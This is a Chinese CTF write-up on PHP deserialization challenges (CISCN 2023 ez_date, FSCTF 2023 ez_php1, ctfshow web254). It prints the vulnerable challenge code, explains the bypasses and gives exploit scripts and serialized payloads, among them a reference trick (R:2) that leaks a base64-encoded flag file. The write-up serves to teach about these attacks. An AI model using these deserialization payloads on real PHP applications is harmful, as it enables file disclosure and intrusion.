CTF反序列化wp(ciscn,nss,ctfshowweb入门)
[CISCN 2023 华北]ez_date
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
unserialize调用__wakeup()
if(is_array($this->a)||is_array($this->b)) #禁用了数组绕过
#这里直接让a=1,b='1',就可以绕过三个条件,这俩md5和sha1都是一样的
$content=date($this->file); # $content接受经过被date函数格式化后的变量file
# date()的说明:
# 该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
# 检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
$uuid=uniqid().'.txt'; # uniqid()生成一个时间戳,将生成的时间戳拼接.txt给$uuid
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
- 开头的“/”和i前的“\”表示正则表达式语法的开始和结束
- (\s)* :匹配零个或多个空白字符(空格、制表符等)
- (\n)+ :匹配一个或多个换行符
- (\s)* :再次匹配零个或多个空白字符
- i :修饰符,表示不区分大小写
正则表达式会将上述空白字符和换行符都替换为空字符串。
file_put_contents($uuid,$content);
说明:
file_put_contents($uuid, $content);是 PHP 中的一个函数调用,用于将一个字符串(内容)写入到一个文件中。这个函数简化了文件打开、写入和关闭的过程。这里是这个函数的基本解释和参数说明:file_put_contents($filename, $data, $flags = 0, $context = null)$filename($uuid在此例中):你希望写入内容的文件路径和名称。在这个例子中,$uuid应该是一个包含唯一标识符(由uniqid()生成)加上.txt扩展名的字符串,用于创建或覆盖一个具有唯一名称的文件。$data($content在此例中):你要写入文件的数据,可以是任何字符串。$flags:这是一个可选参数,用于指定如何写入数据,比如FILE_APPEND可以用于在文件末尾追加内容而不是覆盖。默认是0,表示覆盖模式写入。$context:也是一个可选参数,通常用于提供特定的上下文选项,比如HTTP、FTP等上下文。在大多数情况下,这个参数不需要设置。
所以,
file_put_contents($uuid, $content);这行代码的作用是把变量$content中存储的字符串数据写入到一个新创建的、以其UUID为名字(加上.txt后缀)的文件中。如果文件已存在,它将被覆盖;如果要追加内容而不是覆盖,可以传递FILE_APPEND作为第三个参数。<?php
$c='/flag';
print(date($c));
?>
运行一下得到
/fThursdaypm11,date()会把特定字符格式化为当前时间戳,比如这里,把l换成了星期四Thursdaya换成了pmg换成了时间11解决方法:转义字符\绕过:
/f\l\a\g
get方式把base64编码后的序列化字符串用code传进去就拿到flag了
[FSCTF 2023]ez_php1
第一关
弱比较随便绕
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>
game over!
拿到下一关的目录L0vey0U.php
第二关
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>
flag{This_is_fake_flag}

把key序列化一下s:10:"YES I love"; ,然后GET方式传进去拿到下一关的目录P0int.php
第三关
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
这里有unserialize反序列化,要想反序列化就得先明白序列化。
序列化
在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
PHP基本类型的序列化
bool: b:value =>b:0
int: i:value=>i:1
str: s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL: N
序列化前
<?php
class test{
public $a=false;
public $b=3;
public $c='hello';
public $d=array(1,2,3,'hello');
public $e=NULL;
}
$test = new test;
echo serialize($test);
?>
序列化后
O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}
R与r
当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化
为什么?(看完“分析”以后再看这里)
<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}
而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示
<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}
魔术方法
这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法
eg:例如题目中有一个类名为Clazz的class类,比如当我们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct
exp:
<?php
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?>
序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
R为2代表是第二个反序列化元素被引用
POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
public $a;
public $b;
}
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);
这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。
当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b
这里的 @ 前缀作用如下:
- 抑制错误:如果
unserialize($_POST['data'])在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。 - 继续执行:即使
unserialize()函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。 - 安全风险:使用
@错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用@运算符掩盖其利用反序列化漏洞执行恶意代码的过程。
CTFSHOWweb入门254
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
解题思路:
- 触发vipOneKeyGetFlag
- $this->isVip为真
这题目跟反序列化没关系,主要是考验对代码逻辑是否清晰,怎么调用的
只需要/?username=xxxxxx&password=xxxxxx
CTF反序列化wp(ciscn,nss,ctfshowweb入门)的更多相关文章
- CTF反序列化逃逸
刷了一下CTF反序列化的题,去年没有好好了解.又补了一次PHP,害太菜了.每天看看别人的博客真的可以鼓舞人.简单记录一下两道字符串逃逸问题 推荐一个反序列化总结的很好的笔记https://www.cn ...
- 各种CTF的WP
http://l-team.org/archives/43.html PlaidCTF-2014-twenty/mtpox/doge_stege-Writeup http://l-team.org/a ...
- 记一次CTF出题WP
笔者有幸参与一次CTF入门级的出题,在此记录一下WP 1.测试你得手速 1.用IDA打开程序 找到单击次数, 获取全局变量地址. 打开程序 打开OllyDbg attcach后在左下角按CTRL+N ...
- CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——ROP技术(下)
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——ROP技术(上)
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——ShellCode
这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...
随机推荐
- 这是阿里技术专家对 SRE 和稳定性保障的理解
简介: 在技术工作中,对于产品/基础技术研发和 SRE 两种角色,通常会有基于「是否侧重编码」的理解.对于产品研发转做 SRE ,经常会产生是否要「脱离编码工作」的看法,或者认为是否要「偏离对产品/基 ...
- PolarDB-X 发布 2.1.0 版本,Paxos 重磅开源
简介:2022年4月1号,PolarDB-X 正式开源X-Paxos,基于原生MySQL存储节点,提供Paxos三副本共识协议,可以做到金融级数据库的高可用和容灾能力,做到RPO=0的生产级别可用性 ...
- Spring Boot Admin 集成诊断利器 Arthas 实践
简介: Arthas 是 Alibaba 开源的 Java 诊断工具,具有实时查看系统的运行状况:查看函数调用参数.返回值和异常:在线热更新代码:秒解决类冲突问题:定位类加载路径:生成热点:通过网页诊 ...
- 冷热分离之OTS表格存储实战
简介: 为什么要冷热分离由于2020疫情的原因,在线教育行业提前被大家所重视,钉钉教育已经服务超过21万所学校.700万教师和1.4亿学生用户,每天大量的教育数据产生.整体数据量:随着时间的积累,数据 ...
- 2019-11-29-VisualStudio-2019-如何离线下载
title author date CreateTime categories VisualStudio 2019 如何离线下载 lindexi 2019-11-29 08:38:13 +0800 2 ...
- ClickHouse常用Sql
-- 删除字段 ALTER TABLE 表名 DROP COLUMN 字段名; -- 新增字段,和字段备注 ALTER TABLE 表名 ADD COLUMN IF NOT EXISTS 字段名 St ...
- Codeforces 题解集
Codeforces Round 940 (Div. 2) and CodeCraft-23 Codeforces Round 940 (Div. 2) and CodeCraft-23 (A-E)
- WebStorm2023安装prettier并生效
1.首先去File > Settings > Plugins 里下载并install插件 Prettier 2.在settings里搜索prettier,按图片所示设置一下Apply 3. ...
- Lua 学习笔记(自用)
Lua 学习笔记 1 语言基础 运行方式类似Python,可以直接在交互行运行,也可以通过解释器运行某个脚本.也可以在交互行运行某个lua脚本 dofile("hello.lua" ...
- R2_ES中数据的存储测试
基本概念:ES(一): 架构及原理 关系数据库 ⇒ 数据库 ⇒ 表 ⇒ 行 ⇒ 列(Columns) Elasticsearch ⇒ 索引(Index) ⇒ 类型(Type) ⇒ 文档(Documen ...